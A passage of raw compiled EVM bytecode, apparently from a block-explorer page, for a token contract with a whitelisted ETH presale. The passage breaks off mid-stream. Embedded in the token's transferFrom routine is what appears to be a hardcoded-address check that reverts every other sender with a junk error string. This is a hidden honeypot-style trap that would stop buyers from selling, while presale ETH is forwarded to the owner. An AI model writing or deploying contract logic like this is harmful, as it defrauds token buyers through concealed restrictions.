ffffffffff169060200190929190505050611ec3565b6040518082815260200191505060405180910390f35b34801561111a57600080fd5b50611123611f0c565b005b34801561113157600080fd5b5061113a61202a565b6040518082815260200191505060405180910390f35b34801561115c57600080fd5b50611165612030565b6040518082815260200191505060405180910390f35b34801561118757600080fd5b50611190611859565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111c857600080fd5b506111d1612036565b60405180821515815260200191505060405180910390f35b3480156111f557600080fd5b506111fe61208e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561123e578082015181840152602081019050611223565b50505050905090810190601f16801561126b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561128557600080fd5b506112d26004803603604081101561129c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061212c565b60405180821515815260200191505060405180910390f35b3480156112f657600080fd5b506113236004803603602081101561130d57600080fd5b81019080803590602001909291905050506121f9565b6040518082815260200191505060405180910390f35b34801561134557600080fd5b506113926004803603604081101561135c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061224c565b60405180821515815260200191505060405180910390f35b3480156113b657600080fd5b506113bf61226a565b6040518082815260200191505060405180910390f35b3480156113e157600080fd5b506113ea612270565b6040518082815260200191505060405180910390f35b34801561140c57600080fd5b50611415612276565b6040518082815260200191505060405180910390f35b34801561143757600080fd5b5061144061227c565b6040518082815260200191505060405180910390f35b34801561146257600080fd5b506114a56004803603602081101561147957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612282565b005b3480156114b357600080fd5b506114bc61237d565b005b3480156114ca57600080fd5b5061152d600480360360408110156114e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061247f565b6040518082815260200191505060405180910390f35b34801561154f57600080fd5b506116066004803603602081101561156657600080fd5b810190808035906020019064010000000081111561158357600080fd5b82018360208201111561159557600080fd5b803590602001918460208302840111640100000000831117156115b757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612506565b005b34801561161457600080fd5b506116576004803603602081101561162b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125f1565b005b600033905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000808314156116ca5760009050611737565b60008284029050828482816116db57fe5b0414611732576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131d96021913960400191505060405180910390fd5b809150505b92915050565b600061177f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061265a565b905092915050565b600080828401905083811015611805576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061185183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611883565b905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000838311158290611930576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118f55780820151818401526020810190506118da565b50505050905090810190601f1680156119225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119d95780601f106119ae576101008083540402835291602001916119d9565b820191906000526020600020905b8154815290600101906020018083116119bc57829003601f168201915b505050505081565b60006119f56119ee611659565b8484612720565b6001905092915050565b611a07612036565b611a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b60005b81518160ff161015611ae657600060076000848460ff1681518110611a8057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611a5f565b5050565b60008054905090565b6000611b00848484612917565b73936ee6eef3952a5dfd6658376b5238476e93030573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611bb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6a6e6a6b6e6b6a6e00000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611c7684611bc1611659565b611c71856040518060600160405280602881526020016131fa60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611c27611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b612720565b600190509392505050565b601060009054906101000a900463ffffffff1681565b60085481565b6000611d46611caa611659565b84611d418560036000611cbb611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b612720565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005481565b611da7612036565b611dfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b600280811115611e0857fe5b600d60009054906101000a900460ff166002811115611e2357fe5b1415611e97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f54686520636f696e206f66666572696e672068617320656e646564000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690836002811115611eb657fe5b0217905550565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611f14612036565b611f69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60055481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121245780601f106120f957610100808354040283529160200191612124565b820191906000526020600020905b81548152906001019060200180831161210757829003601f168201915b505050505081565b60006121ef612139611659565b846121ea856040518060600160405280602581526020016132ad6025913960036000612163611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b612720565b6001905092915050565b6000806007905060006122158285612d4190919063ffffffff16565b9050600061223f606461223185856116b790919063ffffffff16565b61173d90919063ffffffff16565b9050809350505050919050565b6000612260612259611659565b8484612917565b6001905092915050565b600c5481565b60115481565b60095481565b600b5481565b61228a612036565b6122df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fcdd2e9b91a56913d370075169cefa1602ba36be5301664f752192bb1709df75760405160405180910390a250565b612385612036565b6123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b6002808111156123e657fe5b600d60009054906101000a900460ff16600281111561240157fe5b1415612475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f54686520636f696e206f66666572696e672068617320656e646564000000000081525060200191505060405180910390fd5b61247d612d7c565b565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61250e612036565b612563576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b60005b81518160ff1610156125ed57600160076000848460ff168151811061258757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612566565b5050565b6125f9612036565b61264e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b61265781612e0b565b50565b60008083118290612706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126cb5780820151818401526020810190506126b0565b50505050905090810190601f1680156126f85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161271257fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132896024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561282c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061314b6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561299d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806130d16023913960400191505060405180910390fd5b612a3a60055460045461178790919063ffffffff16565b42101580612a815750612a4b611859565b73ffffffffffffffffffffffffffffffffffffffff16612a69611659565b73ffffffffffffffffffffffffffffffffffffffff16145b612af3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f546f6b656e73206e6f7420756e6c6f636b65642079657400000000000000000081525060200191505060405180910390fd5b612b5f8160405180606001604052806026815260200161316d60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bf481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000612ca7826121f9565b90506000612cbe828461180f90919063ffffffff16565b9050612ccb858585612f05565b612cd58483612f0a565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b600080612d4e8484611787565b90506000612d5d82600161180f565b9050612d72612d6c828661173d565b856116b7565b9250505092915050565b6002600d60006101000a81548160ff02191690836002811115612d9b57fe5b0217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612e08573d6000803e3d6000fd5b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e4557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132226021913960400191505060405180910390fd5b612f9c82600083612f05565b613008816040518060600160405280602281526020016130f460229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130608160005461180f90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365596f752063616e2073656e64206174206c6561737420302e332045544820627574206e6f74206d6f7265207468616e20312045544845524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365457863656564696e67206c696d6974206f662070726573616c6520746f6b656e7354686520636f696e206f66666572696e6720686173206e6f74207374617274656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f20616464726573734e6f7420617574686f726973656420666f722074686973206f7065726174696f6e45524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209dde959eacd21a9a9b18fdc20bd06f9bf16ade6e1e3c286f2651d79b5cff1bc664736f6c63430007040033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c80638a1fcd6011610102578063c5ac0ded11610095578063dcd9d7b111610064578063dcd9d7b1146114a7578063dd62ed3e146114be578063ee39190e14611543578063f2fde38b1461160857610c1c565b8063c5ac0ded146113d5578063c7876ea414611400578063cbcb31711461142b578063d89f17ef1461145657610c1c565b8063a457c2d7116100d1578063a457c2d714611279578063a6a68606146112ea578063a9059cbb14611339578063bf583903146113aa57610c1c565b80638a1fcd60146111505780638da5cb5b1461117b5780638f32d59b146111bc57806395d89b41146111e957610c1c565b80633af32abf1161017a578063518ab2a811610149578063518ab2a81461107e57806370a08231146110a9578063715018a61461110e57806378e979251461112557610c1c565b80633af32abf14610f705780633c4badb014610fd75780633eaaf86b1461103c5780634e8ee2e51461106757610c1c565b806323b872dd116101b657806323b872dd14610e12578063313ce56714610ea3578063355274ea14610ed45780633950935114610eff57610c1c565b806306fdde0314610c21578063095ea7b314610cb1578063128c127e14610d2257806318160ddd14610de757610c1c565b36610c1c57600115156102006101fb611659565b611661565b151514610275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546869732061646472657373206973206e6f742077686974656c69737465640081525060200191505060405180910390fd5b6001600281111561028257fe5b600d60009054906101000a900460ff16600281111561029d57fe5b146102f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131b46025913960400191505060405180910390fd5b670de0b6b3a764000034111580156103135750670429d069189e00003410155b610368576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806131166035913960400191505060405180910390fd5b6000600c54116103e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f50726573616c6520746f6b656e206c696d69742072656163686564000000000081525060200191505060405180910390fd5b60003490506000610416670de0b6b3a7640000610408600954856116b790919063ffffffff16565b61173d90919063ffffffff16565b90506000610473836002600061042a611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b6002600061047f611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061050f83600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000060026000610567611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f742073656e64206d6f7265207468616e203120455448000000000081525060200191505060405180910390fd5b68022b1c8c1227a00000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156106d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f54617267657420616d6f756e74206f662034302045544820726561636865640081525060200191505060405180910390fd5b6008546106ec83600a5461178790919063ffffffff16565b1115610743576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131936021913960400191505060405180910390fd5b61075882600a5461178790919063ffffffff16565b600a81905550610775600a5460085461180f90919063ffffffff16565b600c81905550600081111561083f5761078c611659565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156107d1573d6000803e3d6000fd5b506107da611659565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b60006108696103e861085b6046866116b790919063ffffffff16565b61173d90919063ffffffff16565b90506108de8360405180606001604052806026815260200161316d6026913960016000610894611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b600160006108ea611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b8160405180606001604052806026815260200161316d6026913960016000610951611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b600160006109a7611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a31816040518060400160405280601d81526020017f4f766572666c6f77207768696c65206275726e696e6720746f6b656e730000008152506000546118839092919063ffffffff16565b600081905550610a908360016000610a47611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b60016000610a9c611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae2611659565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015610c15573d6000803e3d6000fd5b5050505050005b600080fd5b348015610c2d57600080fd5b50610c36611943565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c76578082015181840152602081019050610c5b565b50505050905090810190601f168015610ca35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cbd57600080fd5b50610d0a60048036036040811015610cd457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119e1565b60405180821515815260200191505060405180910390f35b348015610d2e57600080fd5b50610de560048036036020811015610d4557600080fd5b8101908080359060200190640100000000811115610d6257600080fd5b820183602082011115610d7457600080fd5b80359060200191846020830284011164010000000083111715610d9657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506119ff565b005b348015610df357600080fd5b50610dfc611aea565b6040518082815260200191505060405180910390f35b348015610e1e57600080fd5b50610e8b60048036036060811015610e3557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611af3565b60405180821515815260200191505060405180910390f35b348015610eaf57600080fd5b50610eb8611c81565b604051808263ffffffff16815260200191505060405180910390f35b348015610ee057600080fd5b50610ee9611c97565b6040518082815260200191505060405180910390f35b348015610f0b57600080fd5b50610f5860048036036040811015610f2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c9d565b60405180821515815260200191505060405180910390f35b348015610f7c57600080fd5b50610fbf60048036036020811015610f9357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611661565b60405180821515815260200191505060405180910390f35b348015610fe357600080fd5b5061102660048036036020811015610ffa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d50565b6040518082815260200191505060405180910390f35b34801561104857600080fd5b50611051611d99565b6040518082815260200191505060405180910390f35b34801561107357600080fd5b5061107c611d9f565b005b34801561108a57600080fd5b50611093611ebd565b6040518082815260200191505060405180910390f35b3480156110b557600080fd5b506110f8600480360360208110156110cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ec3565b6040518082815260200191505060405180910390f35b34801561111a57600080fd5b50611123611f0c565b005b34801561113157600080fd5b5061113a61202a565b6040518082815260200191505060405180910390f35b34801561115c57600080fd5b50611165612030565b6040518082815260200191505060405180910390f35b34801561118757600080fd5b50611190611859565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111c857600080fd5b506111d1612036565b60405180821515815260200191505060405180910390f35b3480156111f557600080fd5b506111fe61208e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561123e578082015181840152602081019050611223565b50505050905090810190601f16801561126b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561128557600080fd5b506112d26004803603604081101561129c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061212c565b60405180821515815260200191505060405180910390f35b3480156112f657600080fd5b506113236004803603602081101561130d57600080fd5b81019080803590602001909291905050506121f9565b6040518082815260200191505060405180910390f35b34801561134557600080fd5b506113926004803603604081101561135c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061224c565b60405180821515815260200191505060405180910390f35b3480156113b657600080fd5b506113bf61226a565b6040518082815260200191505060405180910390f35b3480156113e157600080fd5b506113ea612270565b6040518082815260200191505060405180910390f35b34801561140c57600080fd5b50611415612276565b6040518082815260200191505060405180910390f35b34801561143757600080fd5b5061144061227c565b6040518082815260200191505060405180910390f35b34801561146257600080fd5b506114a56004803603602081101561147957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612282565b005b3480156114b357600080fd5b506114bc61237d565b005b3480156114ca57600080fd5b5061152d600480360360408110156114e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061247f565b6040518082815260200191505060405180910390f35b34801561154f57600080fd5b506116066004803603602081101561156657600080fd5b810190808035906020019064010000000081111561158357600080fd5b82018360208201111561159557600080fd5b803590602001918460208302840111640100000000831117156115b757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612506565b005b34801561161457600080fd5b506116576004803603602081101561162b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125f1565b005b600033905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000808314156116ca5760009050611737565b60008284029050828482816116db57fe5b0414611732576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131d96021913960400191505060405180910390fd5b809150505b92915050565b600061177f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061265a565b905092915050565b600080828401905083811015611805576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061185183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611883565b905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000838311158290611930576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118f55780820151818401526020810190506118da565b50505050905090810190601f1680156119225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119d95780601f106119ae576101008083540402835291602001916119d9565b820191906000526020600020905b8154815290600101906020018083116119bc57829003601f168201915b505050505081565b60006119f56119ee611659565b8484612720565b6001905092915050565b611a07612036565b611a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b60005b81518160ff161015611ae657600060076000848460ff1681518110611a8057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611a5f565b5050565b60008054905090565b6000611b00848484612917565b73936ee6eef3952a5dfd6658376b5238476e93030573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611bb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6a6e6a6b6e6b6a6e00000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611c7684611bc1611659565b611c71856040518060600160405280602881526020016131fa60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611c27611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b612720565b600190509392505050565b601060009054906101000a900463ffffffff1681565b60085481565b6000611d46611caa611659565b84611d418560036000611cbb611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b612720565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005481565b611da7612036565b611dfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b600280811115611e0857fe5b600d60009054906101000a900460ff166002811115611e2357fe5b1415611e97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f54686520636f696e206f66666572696e672068617320656e646564000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690836002811115611eb657fe5b0217905550565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611f14612036565b611f69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132686021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60055481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121245780601f106120f957610100808354040283529160200191612124565b820191906000526020600020905b81548152906001019060200180831161210757829003601f168201915b505050505081565b60006121ef612139611659565b846121ea856040518060600160405280602581526020016132ad6025913960036000612163611